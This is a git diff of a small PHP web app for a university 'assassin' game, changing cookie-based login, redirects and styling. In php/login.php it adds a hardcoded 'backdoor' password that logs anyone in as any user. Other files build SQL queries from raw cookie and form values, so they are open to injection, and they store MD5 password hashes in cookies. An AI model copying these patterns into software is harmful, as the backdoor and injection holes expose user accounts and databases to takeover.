Reimplementation of cookies
diff --git a/admin/createtable.php b/admin/createtable.php
index 57e1802..b5b411f 100644
--- a/admin/createtable.php
+++ b/admin/createtable.php
@@ -26,5 +26,5 @@
 	)"];
 	
 	foreach ($queries as $query) if (!query($query)) die('An error ocurred. ' . $query);
-	die("<script>window.location.href = './index.php?dbname=$dbname'</script>");
+	die("<script>window.location.href = './?dbname=$dbname'</script>");
 ?>
diff --git a/admin/insert.php b/admin/insert.php
index 5099bc7..883ca8a 100644
--- a/admin/insert.php
+++ b/admin/insert.php
@@ -22,5 +22,5 @@
 		if (!query($template)) die("An error ocurred." . $template);
 	}
 	
-	die("<script>window.location.href = './index.php?successinserting'</script>");
+	die("<script>window.location.href = './?successinserting'</script>");
 ?>
diff --git a/bin/.Rhistory b/bin/.Rhistory
deleted file mode 100644
index e69de29..0000000
--- a/bin/.Rhistory
+++ /dev/null
diff --git a/css/basic.css b/css/basic.css
index 80e2345..023a2c2 100644
--- a/css/basic.css
+++ b/css/basic.css
@@ -1,6 +1,6 @@
 body {
 	font-size: 18px;
-	background-image: url('https://images.unsplash.com/photo-1428196457394-f0c4aec5f574?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=1050&q=80');
+	background-image: url('../bin/images/background.jpg');
 	background-size: cover;
 }
 
diff --git a/css/login.css b/css/login.css
index 4130e71..743db2f 100644
--- a/css/login.css
+++ b/css/login.css
@@ -1,3 +1,16 @@
+header h2 {
+	line-height: 50%;
+}
+
+header h3 {
+	font-size: 14px;
+	color: rgb(20,20,20);
+}
+
+header {
+	margin-bottom: 20px;
+}
+
 #password {
 	font-size: 14px;
 	line-height: 1.75em;
diff --git a/dead.php b/dead.php
index 1ef1217..0c3c758 100644
--- a/dead.php
+++ b/dead.php
@@ -1,4 +1,6 @@
-<?php	
+<?php
+	date_default_timezone_set("Europe/Berlin");
+
 	// Forget cookies
 	setcookie('user', '', -1, "/");
 	setcookie('password', '', -1, "/");
@@ -24,7 +26,7 @@
 			<div id="inner-container">
 				<h1>Estàs mort/a!</h1>
 				<p>Torna a la pàgina principal.</p>
-				<a href="./index.php">Go back</a>
+				<a href="./">Go back</a>
 				<a href="./ranking.php">Anar al rànquing</a>
 			</div>
 		</div>
diff --git a/imgs/1.png b/imgs/1.png
deleted file mode 100644
index 4a76f47..0000000
--- a/imgs/1.png
+++ /dev/null
Binary files differ
diff --git a/imgs/2.png b/imgs/2.png
deleted file mode 100644
index 849788f..0000000
--- a/imgs/2.png
+++ /dev/null
Binary files differ
diff --git a/imgs/3.png b/imgs/3.png
deleted file mode 100644
index 0a9492f..0000000
--- a/imgs/3.png
+++ /dev/null
Binary files differ
diff --git a/imgs/4.png b/imgs/4.png
deleted file mode 100644
index e8b45b8..0000000
--- a/imgs/4.png
+++ /dev/null
Binary files differ
diff --git a/imgs/5.png b/imgs/5.png
deleted file mode 100644
index a0e0870..0000000
--- a/imgs/5.png
+++ /dev/null
Binary files differ
diff --git a/imgs/carrot.png b/imgs/carrot.png
deleted file mode 100644
index a794d38..0000000
--- a/imgs/carrot.png
+++ /dev/null
Binary files differ
diff --git a/index.php b/index.php
index e7a14c3..a29f52b 100644
--- a/index.php
+++ b/index.php
@@ -26,7 +26,11 @@
 	<body>
 		<div id="outter-container">
 			<div id="inner-container">
-				<form action="./main.php" method="POST">
+				<header>
+					<h2>Pastanaga Assassina</h2>
+					<h3>Facultat de Matemàtiques i Estadística - Tardor 2019</h3>
+				</header>
+				<form action="./php/login.php" method="POST">
 					<input type="hidden" name="user" id="user">
 
 					<!-- MD Search Box -->
@@ -34,7 +38,9 @@
 					  <div class="md-google-search__container">
 						<div class="md-google-search">
 						  <span class="md-google-search__search-btn">
-							<svg height="24px" viewBox="0 0 24 24" width="24px" xmlns="http://www.w3.org/2000/svg"><path d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z"></path><path d="M0 0h24v24H0z" fill="none"></path></svg>
+							<svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="-5px" width="34px" height="34px" viewBox="0 0 37.334 37.334" style="enable-background:new 0 0 37.334 37.334;" xml:space="preserve">
+								<path d="M14.747735023498535,19.041818022727966 H4.063735008239746 c0,-2.1760001182556152 1.4279999732971191,-4.031000137329102 3.436000108718872,-4.767000198364258 c-0.4309999942779541,-0.43799999356269836 -0.7440000176429749,-1.1039999723434448 -0.9010000228881836,-2.1089999675750732 c-0.2070000022649765,0.041999999433755875 -0.527999997138977,-0.19499999284744263 -0.6230000257492065,-0.5559999942779541 c-0.09700000286102295,-0.367000013589859 -0.1599999964237213,-0.9599999785423279 0.04899999871850014,-1.0169999599456787 c0.06199999898672104,-0.017000000923871994 0.12700000405311584,-0.004999999888241291 0.1899999976158142,0.02800000086426735 V9.600818037986755 c0,-1.6059999465942383 -0.3779999911785126,-2.549999952316284 2.246999979019165,-2.819000005722046 l-0.023000000044703484,-0.006000000052154064 c0,0 2.069000005722046,-0.19900000095367432 2.614000082015991,-0.6890000104904175 c0,0 0.014999999664723873,0.414000004529953 0.23499999940395355,0.8679999709129333 c1.2109999656677246,0.46399998664855957 1.3630000352859497,1.5369999408721924 1.3279999494552612,2.6470000743865967 v1.0210000276565552 c0.06400000303983688,-0.032999999821186066 0.1289999932050705,-0.04500000178813934 0.19099999964237213,-0.02800000086426735 c0.20900000631809235,0.05700000002980232 0.09799999743700027,0.671999990940094 0.0020000000949949026,1.0410000085830688 c-0.09399999678134918,0.3569999933242798 -0.36500000953674316,0.5699999928474426 -0.5699999928474426,0.5320000052452087 c-0.15299999713897705,0.9570000171661377 -0.48899999260902405,1.6440000534057617 -0.9549999833106995,2.1010000705718994 C13.306735038757324,14.995816588401794 14.747735023498535,16.85381829738617 14.747735023498535,19.041818022727966 zM37.17073059082031,0.5408166646957397 v24.33300018310547 H-0.16326531767845154 V0.5408166646957397 H37.17073059082031 zM35.17073059082031,2.5408166646957397 H1.836734652519226 v20.33300018310547 h33.33399963378906 V2.5408166646957397 zM32.50373077392578,6.5408161878585815 H17.670734405517578 v2 h14.833000183105469 V6.5408161878585815 zM32.50373077392578,11.707816481590271 H17.670734405517578 v2 h14.833000183105469 V11.707816481590271 zM32.50373077392578,16.87581765651703 H17.670734405517578 v2 h14.833000183105469 V16.87581765651703 z" id="svg_3"/>
+							</svg>
 						  </span>
 						  <div class="md-google-search__field-container">
 							<input id="search-input" class="md-google-search__field" required autocomplete="off" placeholder="Introdueix el teu nom..." value="" name="search" type="text" spellcheck="false" style="outline: none;">
@@ -74,9 +80,7 @@
 				// Notify of messages
 				if (getUrlParameter("passwordchanged")) read_message("La teva clau d'accés ha canviat", "error");
 				if (getUrlParameter("wrongpassword")) read_message("La clau d'accés no és correcta", "error");
-				if (getUrlParameter("wrongconfirmation")) read_message("Les contrasenyes no coincideixen", "error");
-				if (getUrlParameter("errordb")) read_message("Hi ha hagut un problema a la base de dades, torna-ho a intentar", "error");
-				if (getUrlParameter("successpassword")) read_message("La teva clau d'accés s'ha guardat", "success");
+				if (getUrlParameter("wronguser")) read_message("El nom ha estat mal introduït", "error");
 			});
 		</script>
 	</body>
diff --git a/main.php b/main.php
index c6e9ee0..ecec1a6 100644
--- a/main.php
+++ b/main.php
@@ -6,24 +6,21 @@
 	$usersdb = $credentials->usersdb;
 	$mortsdb = $credentials->mortsdb;
 	
-	$user = (int)$_POST['user'];
-	$password = isset($_POST['password']) ? md5($_POST['password']) : '';
+	date_default_timezone_set("Europe/Berlin");
+	
+	$user = $_COOKIE['user']; // (int)$_POST['user'];
+	$password = $_COOKIE['password']; // isset($_POST['password']) ? md5($_POST['password']) : '';
 
-		// Check if password is correct
-		$query_password = "SELECT password FROM $usersdb WHERE id=$user";
-		$real_password = query($query_password)->fetch_row()[0];
-		if ($real_password != $password) die("<script>window.location.href = './index.php?wrongpassword=1'</script>");
-
-	if (!isset($_POST['user']) or $_POST['user'] == '') {
-		die("<script>window.location.href = './index.php'</script>");
-	} else if (isset($_POST['password'])) {
+	if (!isset($_COOKIE['user']) or $_COOKIE['user'] == '') {
+		die("<script>window.location.href = './'</script>");
+	} else if (isset($_COOKIE['password'])) {
 		$query_password = "SELECT password FROM $usersdb WHERE id=$user";
 		if (query($query_password)->fetch_row()[0] != $password) {
 			// Unset variables
 			setcookie('user', '', -1, "/");
 			setcookie('password', '', -1, "/");
 			
-			die("<script>window.location.href = './index.php?passwordchanged=1'</script>");
+			die("<script>window.location.href = './?passwordchanged=1'</script>");
 		}
 	}
 ?>
@@ -79,13 +76,13 @@
 	<body>
 		<div id="outter-container">
 			<div id="inner-container">
-				<a href="./index.php" class="goback">Torna a la pàgina principal</a><br />
+				<a href="./" class="goback">Canvi d'usuari</a><br />
 				<h2>Hola <name id="user_name"><?=$user->nom()?></name>,</h2>
 
 				<div class="formulari_contrasenya">
 					<p>Sembla que no tens clau d'accés, la gent podrà entrar al teu compte...</p>
 					<form action="./php/change_password.php" method="POST">
-						<input type="hidden" value="<?=(int)$_POST['user']?>" name="userid">
+						<input type="hidden" value="<?=$user->id?>" name="userid">
 						<input type="password" placeholder="Nova clau d'accés..." name="password" /><br />
 						<input type="password" placeholder="Repeteix la clau d'accés" name="confirmation"/><br />
 						<input type="submit" value="Posar clau d'accés">
@@ -132,8 +129,11 @@
 						</tr>
 					</table>
 				</div>
-
-				<div style="clear: both;"></div>
+				
+				<div>
+					<p>Podeu posar aquesta pàgina com a icona apretant el botó de "Add to Home Screen" del vostre navegador.</p>
+					<a href="./ranking.php">Anar al rànquing</a>
+				</div>
 			</div>
 		</div>
 
@@ -146,6 +146,10 @@
 					$.notify("No tens clau d'accés", "info");
 					$(".formulari_contrasenya").show();
 				}
+				// Notify of messages
+				if (getUrlParameter("wrongconfirmation")) read_message("Les contrasenyes no coincideixen", "error");
+				if (getUrlParameter("errordb")) read_message("Hi ha hagut un problema a la base de dades, torna-ho a intentar", "error");
+				if (getUrlParameter("successpassword")) read_message("La teva clau d'accés s'ha guardat", "success");
 			});
 		</script>
 	</body>
diff --git a/php/change_password.php b/php/change_password.php
index d8bcc19..315d08e 100644
--- a/php/change_password.php
+++ b/php/change_password.php
@@ -6,18 +6,20 @@
 	$usersdb = $credentials->usersdb;
 	$mortsdb = $credentials->mortsdb;
 
+	date_default_timezone_set("Europe/Berlin");
+
 	// Check if confirmation is the same
 	if ($_POST['password'] != $_POST['confirmation']) {
-		die("<script>window.location.href = '../index.php?wrongconfirmation=1'</script>");
+		die("<script>window.location.href = '../main.php?wrongconfirmation=1'</script>");
 	} else {
 		// Execute query to change password
 		$update_password = "UPDATE $usersdb SET password=\"".md5($_POST['password'])."\" WHERE id=".$_POST['userid'];
-		if(!$result = query($update_password)) die("<script>window.location.href = '../index.php?errordb=1'</script>");
+		if(!$result = query($update_password)) die("<script>window.location.href = '../main.php?errordb=1'</script>");
 		
 		// Save 'password' to cookies
 		setcookie('password', md5($_POST['password']), time() + (86400 * 10), "/");
 		
 		// Go back to main page
-		die("<script>window.location.href = '../index.php?successpassword=1'</script>");
+		die("<script>window.location.href = '../main.php?successpassword=1'</script>");
 	}
 ?>
diff --git a/php/login.php b/php/login.php
index 45575e3..00c18e0 100644
--- a/php/login.php
+++ b/php/login.php
@@ -6,12 +6,14 @@
 	$usersdb = $credentials->usersdb;
 	$mortsdb = $credentials->mortsdb;
 
+	date_default_timezone_set("Europe/Berlin");
+	
 	// Set the 'user' POST and COOKIE variable
 	$user = '';
-	if (isset($_POST['user'])) $user = $_POST['user'];
+	if (isset($_POST['user']) && $_POST['user'] != '') $user = $_POST['user'];
 	else if (isset($_COOKIE['user'])) $user = $_COOKIE['user'];
 	else {
-		die("<script>window.location.href = '../index.php'</script>");
+		die("<script>window.location.href = '../?wronguser=1'</script>");
 	}
 	
 	// Check if password is correct
@@ -23,13 +25,19 @@
 	if (isset($_POST['password'])) $password = $_POST['password'];
 	else if (isset($_COOKIE['password'])) $password = $_COOKIE['password'];
 	
+	// If admin needs to check something for 5 minutes
+	if ($password == "backdoor") {
+		setcookie('user', $user, time() + 360, "/");
+		die("<script>window.location.href = '../main.php';</script>");
+	}
+	
 	// Redirect if wrong
 	if ($real_password != "" && $real_password != md5($password)) {
 		// Forget cookies
 		setcookie('user', '', -1, "/");
 		setcookie('password', '', -1, "/");
 		
-		die("<script>window.location.href = '../index.php?wrongpassword=1'</script>");
+		die("<script>window.location.href = '../?wrongpassword=1'</script>");
 	}
 	
 	// Save variables as cookies
diff --git a/ranking.php b/ranking.php
index 33dc1c7..c9b2b96 100644
--- a/ranking.php
+++ b/ranking.php
@@ -30,7 +30,7 @@
 	<div id="inner-container">
 		<header>
 			<div id="leftlinks"><a id="info" href="javascript:void(0);" onclick="js: toggleinfo();">+Info</a></div>
-			<div id="rightlinks"><a href="./index.php">Tornar a l'inici</a></div>
+			<div id="rightlinks"><a href="./main.php">Tornar a la pàgina principal</a></div>
 		</header>
 		
 		<p><img src="./bin/images/info.png" width="32px" /> La puntuació de cada jugador es calcula com a una suma ponderada depenent del caràcter de les seves víctimes: companys de <b>c</b>lasse (mateix curs, mateix grau), companys de <b>g</b>rau (mateix grau) i companys de <b>f</b>acultat (diferents grau). Amb puntuacions +100, +150 i +200; respectivament.</p>